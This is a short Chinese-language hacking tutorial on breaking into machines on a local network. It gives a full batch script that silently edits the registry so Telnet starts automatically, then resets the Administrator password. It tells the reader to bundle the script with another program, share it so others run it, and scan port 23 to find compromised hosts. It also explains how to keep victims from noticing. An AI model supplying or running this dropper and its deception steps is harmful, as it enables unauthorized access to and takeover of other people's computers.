如何入侵局域网

如何入侵局域网- -                                          新建一个文本文档，内容如下：
@echo REGEDIT4 > b.reg 
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr] >> b.reg
@echo "Start"=dword:00000002 >> b.reg
regedit /s /c b.reg
del b.reg
net user administrator 154861
然后，将其另存为，.bat为后缀的文件。并将其与另一程序捆绑，在局域网上共享。
接下来就是等着别人上钩。
现在分析一下上面几行内容，
前三行是建一个注册表文件，起作用是修改注册表的键值，来达到系统自动启动Telnet
的目的。00000002是自动，00000003是手动，00000004是禁止启动。
regedit /s /c b.reg是将注册表文件通过后台运行导入注册表。
最后一行是将目标的Administrator的密码修改为154861。
这里我们为什么不新建一个帐户呢？
因为：
1：现在很多人用的是WINXP，并且使用欢迎界面登陆。新建帐户一眼就看出来了。
2：很多人的Aministrator是很久都不使用的，所以这就相对安全一些。
过一段时间以后，使用Superscan扫描一下网段的23端口。开了这个端口的十之八九
就是中计了。
接下来就是.............